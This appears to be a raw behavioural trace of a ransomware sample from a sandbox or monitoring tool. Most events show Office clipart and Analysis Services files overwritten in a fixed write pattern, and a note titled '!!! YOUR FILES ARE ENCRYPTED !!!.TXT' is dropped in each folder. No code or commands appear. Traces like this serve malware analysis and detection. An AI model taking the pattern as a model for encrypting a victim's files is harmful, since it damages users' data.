Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105974.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0106020.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0106124.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0106146.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0106208.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0106222.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0106572.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0106816.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0106958.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107024.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107026.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107042.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107090.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107130.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107132.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107134.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107138.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107146.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107148.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107150.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107152.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107154.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107158.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107182.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107188.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107192.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107254.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107258.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\wRknaOJH.flv.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\wRknaOJH.flv True 1
Fn
Write C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\wRknaOJH.flv size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as80.xsl size = 17285 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as80.xsl size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as80.xsl size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as80.xsl size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as80.xsl size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\!!! YOUR FILES ARE ENCRYPTED !!!.TXT size = 963 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as90.xsl size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as90.xsl size = 18773 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as90.xsl size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as90.xsl size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as90.xsl size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Informix.xsl size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Informix.xsl size = 30981 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Informix.xsl size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Informix.xsl size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Informix.xsl size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\msjet.xsl size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\msjet.xsl size = 29013 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\msjet.xsl size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\msjet.xsl size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\msjet.xsl size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql2000.xsl size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql2000.xsl size = 34101 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql2000.xsl size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql2000.xsl size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql2000.xsl size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql70.xsl size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql70.xsl size = 32181 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql70.xsl size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql70.xsl size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql70.xsl size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql90.xsl size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql90.xsl size = 39541 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql90.xsl size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql90.xsl size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql90.xsl size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Sybase.xsl size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Sybase.xsl size = 29829 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Sybase.xsl size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Sybase.xsl size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Sybase.xsl size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll size = 4096 True 4
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll size = 37 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll size = 4 True 5
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll size = 32 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\!!! YOUR FILES ARE ENCRYPTED !!!.TXT size = 963 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msolui100.rll size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msolui100.rll size = 14901 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msolui100.rll size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msolui100.rll size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msolui100.rll size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00004_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00004_.GIF size = 9061 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00004_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00004_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00004_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\!!! YOUR FILES ARE ENCRYPTED !!!.TXT size = 963 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00011_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00011_.GIF size = 7253 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00011_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00011_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00011_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00021_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00021_.GIF size = 14901 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00021_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00021_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00021_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00037_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00037_.GIF size = 6709 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00037_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00037_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00037_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00038_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00038_.GIF size = 3285 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00038_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00038_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00038_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00040_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00040_.GIF size = 8133 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00040_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00040_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00040_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00052_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00052_.GIF size = 7717 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00052_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00052_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00052_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00057_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00057_.GIF size = 11925 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00057_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00057_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00057_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00090_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00090_.GIF size = 549 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00090_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00090_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00090_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00092_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00092_.GIF size = 533 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00092_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00092_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00092_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00103_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00103_.GIF size = 12741 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00103_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00103_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00103_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00120_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00120_.GIF size = 3509 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00120_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00120_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00120_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00126_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00126_.GIF size = 3173 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00126_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00126_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00126_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00129_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00129_.GIF size = 12517 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00129_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00129_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00129_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00130_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00130_.GIF size = 5285 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00130_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00130_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00130_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00135_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00135_.GIF size = 2629 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00135_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00135_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00135_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00139_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00139_.GIF size = 10645 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00139_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00139_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00139_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00142_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00142_.GIF size = 15333 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00142_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00142_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00142_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00154_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00154_.GIF size = 5349 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00154_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00154_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00154_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00157_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00157_.GIF size = 4981 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00157_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00157_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00157_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00158_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00158_.GIF size = 5061 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00158_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00158_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00158_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00160_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00160_.GIF size = 1173 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00160_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00160_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00160_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00161_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00161_.GIF size = 7621 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00161_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00161_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00161_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00163_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00163_.GIF size = 7013 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00163_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00163_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00163_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00164_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00164_.GIF size = 13285 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00164_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00164_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00164_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00165_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00165_.GIF size = 8613 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00165_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00165_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00165_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00167_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00167_.GIF size = 4933 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00167_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00167_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00167_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00169_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00169_.GIF size = 5413 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00169_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00169_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00169_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00170_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00170_.GIF size = 9285 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00170_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00170_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00170_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00171_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00171_.GIF size = 5045 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00171_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00171_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00171_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00172_.GIF size = 1 True 2
Fn
Data
